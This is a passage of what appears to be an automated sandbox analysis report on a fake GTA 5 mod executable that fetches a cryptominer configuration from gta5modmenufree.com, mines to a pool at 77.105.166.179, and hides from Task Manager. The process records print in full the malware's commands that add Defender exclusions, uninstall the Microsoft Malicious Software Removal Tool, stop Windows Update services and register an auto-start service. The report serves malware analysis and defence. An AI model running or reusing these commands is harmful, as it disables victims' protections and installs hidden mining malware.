May 22, 2024 06:46:57.004651070 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:57.219022989 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:57.219124079 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:58.892751932 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:46:58.897779942 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:59.160887003 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:46:59.205403090 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:00.919061899 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:00.924655914 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:01.109088898 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:01.330041885 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:02.939582109 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:02.944936991 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:03.131458998 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:03.220676899 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:06.361253977 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:06.366241932 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:06.550786018 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:06.720658064 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:08.417637110 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:08.423506021 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:08.607821941 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:08.720696926 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:10.486560106 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:10.491795063 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:10.675579071 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:10.720675945 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:12.505779028 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:12.511188030 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:12.696641922 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:12.830001116 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:14.533328056 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:14.538450956 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:14.725234985 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:14.766171932 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:16.548849106 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:16.554047108 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:16.739903927 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:16.830054998 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:18.564651012 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:18.572504044 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:18.753731966 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:18.830050945 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:20.565781116 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:20.571063995 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:20.755353928 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:20.829988003 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:24.205583096 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:24.212088108 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:24.398200035 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:24.533098936 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:26.220976114 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:26.226077080 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:26.410060883 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:26.517469883 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:27.701863050 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:27.829953909 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:29.267600060 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:29.272856951 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:29.456584930 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:29.533093929 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:31.267765045 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:31.412695885 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:31.596451044 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:31.720607042 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:33.283210993 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:33.288212061 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:33.474031925 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:33.517467022 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:35.314382076 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:35.321059942 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:35.503886938 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:35.626811028 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:37.314650059 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:37.319622993 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:37.503793001 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:37.626844883 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:39.330811024 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:39.336503029 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:39.520397902 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:39.651750088 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:41.897075891 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:41.903692007 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:42.087630033 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:42.329951048 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:43.908268929 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:43.915654898 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:44.099839926 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:44.220644951 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:45.939419985 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:45.944581985 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:46.128689051 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:46.329941034 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:47.974122047 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:47.979232073 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:48.165067911 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:48.220681906 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:50.004836082 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:50.010078907 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:50.200411081 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:50.329947948 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:52.020740986 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:52.026088953 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:52.210381985 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:52.330023050 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:54.033219099 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:54.038563013 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:54.222125053 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:54.329932928 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:56.064490080 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:56.069535017 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:56.254358053 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:56.329952002 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:58.014226913 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:58.126784086 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:59.018167973 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:47:59.023411036 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:59.261044979 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:47:59.329883099 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:48:01.034632921 CEST	49706	7752	192.168.2.5	77.105.166.179
May 22, 2024 06:48:01.050029039 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:48:01.233577013 CEST	7752	49706	77.105.166.179	192.168.2.5
May 22, 2024 06:48:01.329885006 CEST	49706	7752	192.168.2.5	77.105.166.179

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 22, 2024 06:46:09.706837893 CEST	52732	53	192.168.2.5	1.1.1.1
May 22, 2024 06:46:09.741910934 CEST	53	52732	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 22, 2024 06:46:09.706837893 CEST	192.168.2.5	1.1.1.1	0xec6b	Standard query (0)	gta5modmenufree.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 22, 2024 06:46:09.741910934 CEST	1.1.1.1	192.168.2.5	0xec6b	No error (0)	gta5modmenufree.com		188.114.96.3	A (IP address)	IN (0x0001)	false
May 22, 2024 06:46:09.741910934 CEST	1.1.1.1	192.168.2.5	0xec6b	No error (0)	gta5modmenufree.com		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

gta5modmenufree.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	188.114.96.3	443	2804	C:\Windows\System32\dwm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 04:46:10 UTC	129	OUT	GET /CSHQRtZu/standingcpu HTTP/1.1 Accept: / Connection: close Host: gta5modmenufree.com User-Agent: cpp-httplib/0.12.6
2024-05-22 04:46:10 UTC	557	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 04:46:10 GMT Content-Type: text/plain Content-Length: 364 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ecb9MnK2IYkrgx5gwynxGksU8JuYNTsCKa28ajh4f4qHVHqtdgKyErkXaIh7w%2BsrAWDOkfFRyM%2FfhbsUQimpHnqQVI%2FdtHYAhXwMWLhGAa0Qj93fND31nqggOOUKk%2FpKNlSVjV0T"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 887a2932aefe6a4e-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 04:46:10 UTC	364	IN	Data Raw: 7b 0d 0a 22 61 6c 67 6f 22 3a 20 22 72 78 2f 30 22 2c 0d 0a 22 70 6f 6f 6c 22 3a 20 22 37 37 2e 31 30 35 2e 31 36 36 2e 31 37 39 22 2c 0d 0a 22 70 6f 72 74 22 3a 20 37 37 35 32 2c 0d 0a 22 77 61 6c 6c 65 74 22 3a 20 22 73 74 61 6e 64 69 6e 67 63 70 75 22 2c 0d 0a 22 70 61 73 73 77 6f 72 64 22 3a 20 22 73 74 61 6e 64 69 6e 67 63 70 75 22 2c 0d 0a 22 6e 69 63 65 68 61 73 68 22 3a 20 74 72 75 65 2c 0d 0a 22 73 73 6c 74 6c 73 22 3a 20 74 72 75 65 2c 0d 0a 22 6b 65 65 70 61 6c 69 76 65 22 3a 20 74 72 75 65 2c 0d 0a 22 6d 61 78 2d 63 70 75 22 3a 20 33 35 2c 0d 0a 22 69 64 6c 65 2d 77 61 69 74 22 3a 20 34 2c 0d 0a 22 69 64 6c 65 2d 63 70 75 22 3a 20 38 30 2c 0d 0a 22 73 74 65 61 6c 74 68 2d 74 61 72 67 65 74 73 22 3a 20 22 54 61 73 6b 6d 67 72 2e 65 78 65 2c 50 Data Ascii: {"algo": "rx/0","pool": "77.105.166.179","port": 7752,"wallet": "standingcpu","password": "standingcpu","nicehash": true,"ssltls": true,"keepalive": true,"max-cpu": 35,"idle-wait": 4,"idle-cpu": 80,"stealth-targets": "Taskmgr.exe,P

Target ID:	0
Start time:	00:45:55
Start date:	22/05/2024
Path:	C:\Users\user\Desktop\mav17final.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\mav17final.exe"
Imagebase:	0x7ff79ea40000
File size:	13'827'522 bytes
MD5 hash:	9E77A1C36B7EE264C38B958963769C08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:45:55
Start date:	22/05/2024
Path:	C:\Users\user\Desktop\mav17final.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\mav17final.exe"
Imagebase:	0x7ff79ea40000
File size:	13'827'522 bytes
MD5 hash:	9E77A1C36B7EE264C38B958963769C08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:45:57
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force"
Imagebase:	0x7ff6cf680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:45:57
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:45:57
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:46:01
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\dialer.exe"
Imagebase:	0x7ff6cf680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:46:01
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:46:01
Start date:	22/05/2024
Path:	C:\Users\user\AppData\Local\Temp\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\dialer.exe
Imagebase:	0x7ff7c9b10000
File size:	5'290'264 bytes
MD5 hash:	0BCBEA7313655A42ECC0A1FDBCF37993
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs Detection: 65%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:46:01
Start date:	22/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:46:01
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:46:03
Start date:	22/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6cf680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:46:03
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:46:03
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:46:03
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:46:03
Start date:	22/05/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff682d20000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:46:03
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:46:03
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7c67f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7c67f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7c67f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7c67f0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "Build"
Imagebase:	0x7ff6940a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:46:04
Start date:	22/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "Build" binpath= "C:\ProgramData\dialer.exe" start= "auto"
